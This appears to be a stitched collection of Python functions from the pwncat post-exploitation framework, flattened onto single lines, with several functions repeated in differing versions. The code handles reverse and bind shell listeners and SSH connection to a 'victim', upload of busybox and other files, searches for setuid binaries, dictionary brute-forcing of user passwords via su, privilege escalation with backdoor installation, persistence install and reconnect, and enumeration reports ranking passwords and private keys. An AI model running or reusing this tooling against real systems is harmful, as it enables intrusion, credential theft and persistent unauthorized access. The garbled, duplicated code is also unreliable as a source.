def run(self, args): try: length = os.path.getsize(args.source) started = time.time() with open(args.source, "rb") as source: with pwncat.victim.open(args.destination, "wb", length=length) as destination: util.with_progress( [ ("", "uploading "), ("fg:ansigreen", args.source), ("", " to "), ("fg:ansired", args.destination), ], partial(util.copyfileobj, source, destination), length=length, ) elapsed = time.time() - started util.success( f"uploaded {Fore.CYAN}{util.human_readable_size(length)}{Fore.RESET} " f"in {Fore.GREEN}{util.human_readable_delta(elapsed)}{Fore.RESET}" ) except (FileNotFoundError, PermissionError, IsADirectoryError) as exc: self.parser.error(str(exc))
def run(self, args): if args.action == "revert": if args.all: removed_tampers = [] util.progress(f"reverting tamper") for tamper in pwncat.victim.tamper: try: util.progress(f"reverting tamper: {tamper}") tamper.revert() removed_tampers.append(tamper) except RevertFailed as exc: util.warn(f"{tamper}: revert failed: {exc}") for tamper in removed_tampers: pwncat.victim.tamper.remove(tamper) util.success("tampers reverted!") pwncat.victim.session.commit() else: if args.tamper not in range(len(pwncat.victim.tamper)): self.parser.error("invalid tamper id") tamper = pwncat.victim.tamper[args.tamper] try: tamper.revert() pwncat.victim.tamper.remove(tamper) except RevertFailed as exc: util.error(f"revert failed: {exc}") pwncat.victim.session.commit() else: for id, tamper in enumerate(pwncat.victim.tamper): print(f" {id} - {tamper}")
def find_suid(self): current_user = self.pty.whoami() # Only re-run the search if we haven't searched as this user yet if current_user in self.users_searched: return # Note that we already searched for binaries as this user self.users_searched.append(current_user) # Spawn a find command to locate the setuid binaries files = [] with self.pty.subprocess("find / -perm -4000 -print 2>/dev/null", mode="r") as stream: util.progress("searching for setuid binaries") for path in stream: path = path.strip() util.progress(f"searching for setuid binaries: {path}") files.append(path) util.success("searching for setuid binaries: complete", overlay=True) for path in files: user = (self.pty.run( f"stat -c '%U' {shlex.quote(path)}").strip().decode("utf-8")) if user not in self.suid_paths: self.suid_paths[user] = [] # Only add new binaries if path not in self.suid_paths[user]: self.suid_paths[user].append(path)
def main(): # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) # Build the victim object pwncat.victim = Victim() # Arguments to `pwncat` are considered arguments to `connect` # We use the `prog_name` argument to make the help for "connect" # display "pwncat" in the usage. This is just a visual fix, and # isn't used anywhere else. pwncat.victim.command_parser.dispatch_line( shlex.join(["connect"] + sys.argv[1:]), prog_name="pwncat" ) # Only continue if we successfully connected if not pwncat.victim.connected: exit(0) # Setup the selector to wait for data asynchronously from both streams selector = selectors.DefaultSelector() selector.register(sys.stdin, selectors.EVENT_READ, None) selector.register(pwncat.victim.client, selectors.EVENT_READ, "read") # Initialize our state done = False try: # This loop is only used to funnel data between the local # and remote hosts when in raw mode. During the `pwncat` # prompt, the main loop is handled by the CommandParser # class `run` method. while not done: for k, _ in selector.select(): if k.fileobj is sys.stdin: data = sys.stdin.buffer.read(8) pwncat.victim.process_input(data) else: data = pwncat.victim.recv() if data is None or len(data) == 0: done = True break sys.stdout.buffer.write(data) sys.stdout.flush() except ConnectionResetError: pwncat.victim.restore_local_term() util.warn("connection reset by remote host") except SystemExit: util.success("closing down connection.") finally: # Restore the shell pwncat.victim.restore_local_term() try: # Make sure everything was committed pwncat.victim.session.commit() except InvalidRequestError: pass util.success("local terminal restored")
def run(self, args): if args.action == "status": ninstalled = 0 for user, method in pwncat.victim.persist.installed: print(f" - {method.format(user)} installed") ninstalled += 1 if not ninstalled: util.warn( "no persistence methods observed as " f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}" ) return elif args.action == "list": if args.method: try: method = next(pwncat.victim.persist.find(args.method)) print(f"\033[4m{method.format()}{Style.RESET_ALL}") print(textwrap.indent(textwrap.dedent(method.__doc__), " ")) except StopIteration: util.error(f"{args.method}: no such persistence method") else: for method in pwncat.victim.persist: print(f" - {method.format()}") return elif args.action == "clean": util.progress("cleaning persistence methods: ") for user, method in pwncat.victim.persist.installed: try: util.progress( f"cleaning persistance methods: {method.format(user)}" ) pwncat.victim.persist.remove(method.name, user) util.success(f"removed {method.format(user)}") except PersistenceError as exc: util.erase_progress() util.warn( f"{method.format(user)}: removal failed: {exc}\n", overlay=True ) util.erase_progress() return elif args.method is None: self.parser.error("no method specified") return # Grab the user we want to install the persistence as if args.user: user = args.user else: # Default is to install as current user user = pwncat.victim.whoami() try: if args.action == "install": pwncat.victim.persist.install(args.method, user) elif args.action == "remove": pwncat.victim.persist.remove(args.method, user) except PersistenceError as exc: util.error(f"{exc}")
def run(self, args): # Get the terminal type TERM = os.environ.get("TERM", None) if TERM is None: util.warn("no local TERM set. falling back to 'xterm'") TERM = "xterm" # Get the width and height columns, rows = os.get_terminal_size(0) # Update the state pwncat.victim.run(f"stty rows {rows};" f"stty columns {columns};" f"export TERM='{TERM}'") util.success("terminal state synchronized")
def run(self, args): for name in args.user: args.dictionary.seek(0) for line in args.dictionary: line = line.strip() util.progress(f"bruteforcing {name}: {line}") try: # Attempt the password pwncat.victim.su(name, line, check=True) pwncat.victim.users[name].password = line util.success(f"user {name} has password {repr(line)}!") break except PermissionError: continue util.success("bruteforcing completed")
def state(self, value: State): if value == self._state: return if value == State.RAW: self.flush_output() self.client.send(b"\n") util.success("pwncat is ready 🐈") self.saved_term_state = util.enter_raw_mode() self.command_parser.running = False self._state = value return if value == State.COMMAND: # Go back to normal mode self.restore_local_term() self._state = State.COMMAND # Hopefully this fixes weird cursor position issues util.success("local terminal restored") # Setting the state to local command mode does not return until # command processing is complete. self.command_parser.run() return if value == State.SINGLE: # Go back to normal mode self.restore_local_term() self._state = State.SINGLE # Hopefully this fixes weird cursor position issues sys.stdout.write("\n") # Setting the state to local command mode does not return until # command processing is complete. self.command_parser.run_single() # Go back to raw mode self.flush_output() self.client.send(b"\n") self.saved_term_state = util.enter_raw_mode() self._state = State.RAW return
def find_suid(self): current_user: "******" = pwncat.victim.current_user # We've already searched for SUID binaries as this user if len(current_user.suid): return # Spawn a find command to locate the setuid binaries files = [] with pwncat.victim.subprocess( "find / -perm -4000 -print 2>/dev/null", mode="r", no_job=True ) as stream: util.progress("searching for setuid binaries") for path in stream: path = path.strip().decode("utf-8") util.progress( ( f"searching for setuid binaries as {Fore.GREEN}{current_user.name}{Fore.RESET}: " f"{Fore.CYAN}{os.path.basename(path)}{Fore.RESET}" ) ) files.append(path) util.success("searching for setuid binaries: complete", overlay=True) with pwncat.victim.subprocess( f"stat -c '%U' {' '.join(files)}", mode="r", no_job=True ) as stream: for file, user in zip(files, stream): user = user.strip().decode("utf-8") binary = pwncat.db.SUID(path=file,) pwncat.victim.host.suid.append(binary) pwncat.victim.users[user].owned_suid.append(binary) current_user.suid.append(binary) pwncat.victim.session.commit()
def do_privesc(self, argv): """ Attempt privilege escalation """ parser = argparse.ArgumentParser(prog="privesc") parser.add_argument( "--list", "-l", action="store_true", help="do not perform escalation. list potential escalation methods", ) parser.add_argument( "--all", "-a", action="store_const", dest="user", const=None, help= "when listing methods, list for all users. when escalating, escalate to root.", ) parser.add_argument( "--user", "-u", choices=[user for user in self.users], default="root", help="the target user", ) parser.add_argument( "--max-depth", "-m", type=int, default=None, help="Maximum depth for the privesc search (default: no maximum)", ) parser.add_argument( "--read", "-r", type=str, default=None, help="remote filename to try and read", ) parser.add_argument( "--write", "-w", type=str, default=None, help="attempt to write to a remote file as the specified user", ) parser.add_argument( "--data", "-d", type=str, default=None, help="the data to write a file. ignored if not write mode", ) parser.add_argument( "--text", "-t", action="store_true", default=False, help="whether to use safe readers/writers", ) try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if args.list: techniques = self.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.read: try: read_pipe, chain = self.privesc.read_file( args.read, args.user, args.max_depth) # Read the data from the pipe sys.stdout.buffer.write(read_pipe.read(4096)) read_pipe.close() # Unwrap in case we had to privesc to get here self.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.write: if args.data is None: util.error("no data specified") else: if args.data.startswith("@"): with open(args.data[1:], "rb") as f: data = f.read() else: data = args.data.encode("utf-8") try: chain = self.privesc.write_file( args.write, data, safe=not args.text, target_user=args.user, depth=args.max_depth, ) self.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") else: try: chain = self.privesc.escalate(args.user, args.max_depth) ident = self.id backdoor = False if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "EUID != UID. installing backdoor to complete privesc") try: self.privesc.add_backdoor() backdoor = True except privesc.PrivescError as exc: util.warn(f"backdoor installation failed: {exc}") util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") if backdoor: print((f"{(len(chain)+1)*' '}{arrow}" f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor")) self.reset() self.do_back([]) except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def bootstrap_busybox(self, url, method): """ Utilize the architecture we grabbed from `uname -m` to grab a precompiled busybox binary and upload it to the remote machine. This makes uploading/downloading and dependency tracking easier. It also makes file upload/download safer, since we have a known good set of commands we can run (rather than relying on GTFObins) """ if self.has_busybox: util.success("busybox is already available!") return busybox_remote_path = self.which("busybox") if busybox_remote_path is None: # We use the stable busybox version at the time of writing. This should # probably be configurable. busybox_url = url.rstrip("/") + "/busybox-{arch}" # Attempt to download the busybox binary r = requests.get(busybox_url.format(arch=self.arch), stream=True) # No busybox support if r.status_code == 404: util.warn(f"no busybox for architecture: {self.arch}") return with ProgressBar(f"downloading busybox for {self.arch}") as pb: counter = pb(int(r.headers["Content-Length"])) with tempfile.NamedTemporaryFile("wb", delete=False) as filp: last_update = time.time() busybox_local_path = filp.name for chunk in r.iter_content(chunk_size=1024 * 1024): filp.write(chunk) counter.items_completed += len(chunk) if (time.time() - last_update) > 0.1: pb.invalidate() counter.stopped = True pb.invalidate() time.sleep(0.1) # Stage a temporary file for busybox busybox_remote_path = ( self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip()) # Upload busybox using the best known method to the remote server self.do_upload( ["-m", method, "-o", busybox_remote_path, busybox_local_path]) # Make busybox executable self.run(f"chmod +x {shlex.quote(busybox_remote_path)}") # Remove local busybox copy os.unlink(busybox_local_path) util.success( f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}" ) else: # Busybox was provided on the system! util.success(f"busybox already installed on remote system!") # Check what this busybox provides util.progress("enumerating provided applets") pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list") provides = pipe.read().decode("utf-8").strip().split("\n") pipe.close() # prune any entries which the system marks as SETUID or SETGID stat = self.which("stat", quote=True) if stat is not None: util.progress("enumerating remote binary permissions") which_provides = [f"`which {p}`" for p in provides] permissions = (self.run(f"{stat} -c %A {' '.join(which_provides)}" ).decode("utf-8").strip().split("\n")) new_provides = [] for name, perms in zip(provides, permissions): if "No such" in perms: # The remote system doesn't have this binary continue if "s" not in perms.lower(): util.progress( f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox") new_provides.append(name) else: util.progress( f"pruning {Fore.RED}{name}{Fore.RESET} from busybox") util.success( f"pruned {len(provides)-len(new_provides)} setuid entries") provides = new_provides # Let the class know we now have access to busybox self.busybox_provides = provides self.has_busybox = True self.busybox_path = busybox_remote_path
def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth) util.success("file successfully opened!") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file try: with open(args.data, "rb") as f: data = f.read() except PermissionError: self.parser.error(f"no local permission to read: {args.data}") try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) ident = pwncat.victim.id if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "mismatched euid and uid; attempting backdoor installation." ) for method in pwncat.victim.persist.available: if not method.system or not method.local: continue try: # Attempt to install this persistence method pwncat.victim.persist.install(method.name) if not method.escalate(): # The escalation didn't work, remove it and try the next pwncat.victim.persist.remove(method.name) continue chain.append(( f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)", "exit", )) break except PersistenceError: continue util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def main(): # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) parser = argparse.ArgumentParser(prog="pwncat") mutex_group = parser.add_mutually_exclusive_group(required=True) mutex_group.add_argument( "--reverse", "-r", action="store_const", dest="type", const="reverse", help="Listen on the specified port for connections from a remote host", ) mutex_group.add_argument( "--bind", "-b", action="store_const", dest="type", const="bind", help="Connect to a remote host", ) parser.add_argument( "--host", "-H", type=str, help= ("Bind address for reverse connections. Remote host for bind connections (default: 0.0.0.0)" ), default="0.0.0.0", ) parser.add_argument( "--port", "-p", type=int, help= "Bind port for reverse connections. Remote port for bind connections", required=True, ) parser.add_argument( "--method", "-m", choices=[*Victim.OPEN_METHODS.keys()], help="Method to create a pty on the remote host (default: script)", default="script", ) parser.add_argument("--config", "-c", help="Configuration script", default=None) args = parser.parse_args() # Build the victim object pwncat.victim = Victim(args.config) # Run the configuration script if args.config: with open(args.config, "r") as filp: config_script = filp.read() pwncat.victim.command_parser.eval(config_script, args.config) if args.type == "reverse": # Listen on a socket for connections util.info(f"binding to {args.host}:{args.port}", overlay=True) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((args.host, args.port)) # After the first connection, drop further attempts server.listen(1) # Wait for a single connection try: (client, address) = server.accept() except KeyboardInterrupt: util.warn(f"aborting listener...") sys.exit(0) elif args.type == "bind": util.info(f"connecting to {args.host}:{args.port}", overlay=True) # client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # client.connect((args.host, args.port)) client = socket.create_connection((args.host, args.port)) address = (args.host, args.port) else: parser.error("must specify a valid connection type!") sys.exit(1) util.info(f"connection to {address[0]}:{address[1]} established", overlay=True) # Connect and initialize the remote victim pwncat.victim.connect(client) # Setup the selector to wait for data asynchronously from both streams selector = selectors.DefaultSelector() selector.register(sys.stdin, selectors.EVENT_READ, None) selector.register(client, selectors.EVENT_READ, "read") # Initialize our state done = False try: while not done: for k, _ in selector.select(): if k.fileobj is sys.stdin: data = sys.stdin.buffer.read(8) pwncat.victim.process_input(data) else: data = pwncat.victim.recv() if data is None or len(data) == 0: done = True break sys.stdout.buffer.write(data) sys.stdout.flush() except ConnectionResetError: pwncat.victim.restore_local_term() util.warn("connection reset by remote host") finally: # Restore the shell pwncat.victim.restore_local_term() try: # Make sure everything was committed pwncat.victim.session.commit() except InvalidRequestError: pass util.success("local terminal restored")
def generate_report(self, report_path: str): """ Generate a markdown report of enumeration data for the remote host. This report is generated from all facts which pwncat is capable of enumerating. It does not need nor honor the type or provider options. """ # Dictionary mapping type names to facts. Each type name is mapped # to a dictionary which maps sources to a list of facts. This makes # organizing the output report easier. report_data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {} system_details = [] try: # Grab hostname hostname = pwncat.victim.enumerate.first("system.hostname").data system_details.append(["Hostname", hostname]) except ValueError: hostname = "[unknown-hostname]" # Not provided by enumerate, but natively known due to our connection system_details.append(["Primary Address", pwncat.victim.host.ip]) system_details.append(["Derived Hash", pwncat.victim.host.hash]) try: # Grab distribution distro = pwncat.victim.enumerate.first("system.distro").data system_details.append([ "Distribution", f"{distro.name} ({distro.ident}) {distro.version}" ]) except ValueError: pass try: # Grab the architecture arch = pwncat.victim.enumerate.first("system.arch").data system_details.append(["Architecture", arch.arch]) except ValueError: pass try: # Grab kernel version kernel = pwncat.victim.enumerate.first( "system.kernel.version").data system_details.append([ "Kernel", f"Linux Kernel {kernel.major}.{kernel.minor}.{kernel.patch}-{kernel.abi}", ]) except ValueError: pass try: # Grab init system init = pwncat.victim.enumerate.first("system.init").data system_details.append(["Init", init.init]) except ValueError: pass # Build the table writer for the main section table_writer = MarkdownTableWriter() table_writer.headers = ["Property", "Value"] table_writer.column_styles = [ pytablewriter.style.Style(align="right"), pytablewriter.style.Style(align="center"), ] table_writer.value_matrix = system_details table_writer.margin = 1 # Note enumeration data we don't need anymore. These are handled above # in the system_details table which is output with the table_writer. ignore_types = [ "system.hostname", "system.kernel.version", "system.distro", "system.init", "system.arch", ] # This is the list of known enumeration types that we want to # happen first in this order. Other types will still be output # but will be output in an arbitrary order following this list ordered_types = [ # Possible kernel exploits - very important "system.kernel.exploit", # Enumerated user passwords - very important "system.user.password", # Enumerated possible user private keys - very important "system.user.private_key", # Directories in our path that are writable "writable_path", ] # These types are very noisy. They are important for full enumeration, # but are better suited for the end of the list. These are output last # no matter what in this order. noisy_types = [ # System services. There's normally a lot of these "system.service", # Installed packages. There's *always* a lot of these "system.package", ] util.progress("enumerating report_data") for fact in pwncat.victim.enumerate.iter(): util.progress(f"enumerating report_data: {fact.data}") if fact.type in ignore_types: continue if fact.type not in report_data: report_data[fact.type] = {} if fact.source not in report_data[fact.type]: report_data[fact.type][fact.source] = [] report_data[fact.type][fact.source].append(fact) util.erase_progress() try: with open(report_path, "w") as filp: filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n") # Write the system info table table_writer.dump(filp, close_after_write=False) filp.write("\n") # output ordered types first for typ in ordered_types: if typ not in report_data: continue self.render_section(filp, typ, report_data[typ]) # output everything that's not a ordered or noisy type for typ, sources in report_data.items(): if typ in ordered_types or typ in noisy_types: continue self.render_section(filp, typ, sources) # Output the noisy types for typ in noisy_types: if typ not in report_data: continue self.render_section(filp, typ, report_data[typ]) util.success(f"enumeration report written to {report_path}") except OSError: self.parser.error(f"{report_path}: failed to open output file")
def run(self, args): if pwncat.victim.client is not None: util.error( "connect can only be called prior to an active connection!") return if args.config: try: # Load the configuration with open(args.config, "r") as filp: pwncat.victim.command_parser.eval(filp.read(), args.config) except OSError as exc: self.parser.error(str(exc)) if args.action == "none": # No action was provided, and no connection was made in the config if pwncat.victim.client is None: self.parser.print_help() return if args.action == "listen": if not args.host: args.host = "0.0.0.0" util.progress(f"binding to {args.host}:{args.port}") # Create the socket server server = socket.create_server((args.host, args.port), reuse_port=True) try: # Wait for a connection (client, address) = server.accept() except KeyboardInterrupt: util.warn(f"aborting listener...") return util.success(f"received connection from {address[0]}:{address[1]}") pwncat.victim.connect(client) elif args.action == "connect": if not args.host: self.parser.error( "host address is required for outbound connections") util.progress(f"connecting to {args.host}:{args.port}") # Connect to the remote host client = socket.create_connection((args.host, args.port)) util.success(f"connection to {args.host}:{args.port} established") pwncat.victim.connect(client) elif args.action == "ssh": if not args.port: args.port = 22 if not args.user: self.parser.error("you must specify a user") if not (args.password or args.identity): self.parser.error( "either a password or identity file is required") try: # Connect to the remote host's ssh server sock = socket.create_connection((args.host, args.port)) except Exception as exc: util.error(str(exc)) return # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: sock.close() util.error("ssh negotiation failed") return if args.identity: try: # Load the private key for the user key = paramiko.RSAKey.from_private_key_file(args.identity) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file( args.identity, password) # Attempt authentication try: t.auth_publickey(args.user, key) except paramiko.ssh_exception.AuthenticationException as exc: util.error(f"authentication failed: {exc}") else: try: t.auth_password(args.user, args.password) except paramiko.ssh_exception.AuthenticationException as exc: util.error(f"authentication failed: {exc}") if not t.is_authenticated(): t.close() sock.close() return # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() # Initialize the session! pwncat.victim.connect(chan) elif args.action == "reconnect": if not args.host: self.parser.error( "host address or hash is required for reconnection") try: addr = ipaddress.ip_address(args.host) util.progress(f"enumerating persistence methods for {addr}") host = (pwncat.victim.session.query( pwncat.db.Host).filter_by(ip=str(addr)).first()) if host is None: util.error(f"{args.host}: not found in database") return host_hash = host.hash except ValueError: host_hash = args.host # Reconnect to the given host try: pwncat.victim.reconnect(host_hash, args.method, args.user) except PersistenceError as exc: util.error(f"{args.host}: connection failed") return elif args.action == "list": if pwncat.victim.session is not None: for host in pwncat.victim.session.query(pwncat.db.Host): if len(host.persistence) == 0: continue print( f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}" ) for p in host.persistence: print( f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}" ) else: util.error(f"{args.action}: invalid action")
def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth) util.success("file successfully opened!") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file with open(args.data, "rb") as f: data = f.read() try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) ident = pwncat.victim.id backdoor = False if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "EUID != UID. installing backdoor to complete privesc") try: pwncat.victim.privesc.add_backdoor() backdoor = True except privesc.PrivescError as exc: util.warn(f"backdoor installation failed: {exc}") util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") if backdoor: print((f"{(len(chain)+1)*' '}{arrow}" f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor")) pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def bootstrap_busybox(self, url): """ Utilize the architecture we grabbed from `uname -m` to grab a precompiled busybox binary and upload it to the remote machine. This makes uploading/downloading and dependency tracking easier. It also makes file upload/download safer, since we have a known good set of commands we can run (rather than relying on GTFObins) """ if self.has_busybox: util.success("busybox is already available!") return busybox_remote_path = self.which("busybox") if busybox_remote_path is None: # We use the stable busybox version at the time of writing. This should # probably be configurable. busybox_url = url.rstrip("/") + "/busybox-{arch}" # Attempt to download the busybox binary r = requests.get(busybox_url.format(arch=self.arch), stream=True) # No busybox support if r.status_code == 404: util.warn(f"no busybox for architecture: {self.arch}") return # Grab the original_content length if provided length = r.headers.get("Content-Length", None) if length is not None: length = int(length) # Stage a temporary file for busybox busybox_remote_path = ( self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip() ) # Open the remote file for writing with self.open(busybox_remote_path, "wb", length=length) as filp: # Local function for transferring the original_content def transfer(on_progress): for chunk in r.iter_content(chunk_size=1024 * 1024): filp.write(chunk) on_progress(len(chunk)) # Run the transfer with a progress bar util.with_progress( f"uploading busybox for {self.arch}", transfer, length, ) # Make busybox executable self.run(f"chmod +x {shlex.quote(busybox_remote_path)}") # Custom tamper to remove busybox and stop tracking it here self.tamper.custom( ( f"{Fore.RED}installed{Fore.RESET} {Fore.GREEN}busybox{Fore.RESET} " f"to {Fore.CYAN}{busybox_remote_path}{Fore.RESET}" ), self.remove_busybox, ) util.success( f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}" ) else: # Busybox was provided on the system! util.success(f"busybox already installed on remote system!") # Check what this busybox provides util.progress("enumerating provided applets") pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list") provides = pipe.read().decode("utf-8").strip().split("\n") pipe.close() # prune any entries which the system marks as SETUID or SETGID stat = self.which("stat", quote=True) if stat is not None: util.progress("enumerating remote binary permissions") which_provides = [f"`which {p}`" for p in provides] new_provides = [] with self.subprocess( f"{stat} -c %A {' '.join(which_provides)}", "r" ) as pipe: for name, perms in zip(provides, pipe): perms = perms.decode("utf-8").strip().lower() if "no such" in perms: # The remote system doesn't have this binary continue if "s" not in perms: util.progress( f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox" ) new_provides.append(name) else: util.progress( f"pruning {Fore.RED}{name}{Fore.RESET} from busybox" ) util.success(f"pruned {len(provides)-len(new_provides)} setuid entries") provides = new_provides # Let the class know we now have access to busybox self.busybox_provides = provides self.has_busybox = True self.busybox_path = busybox_remote_path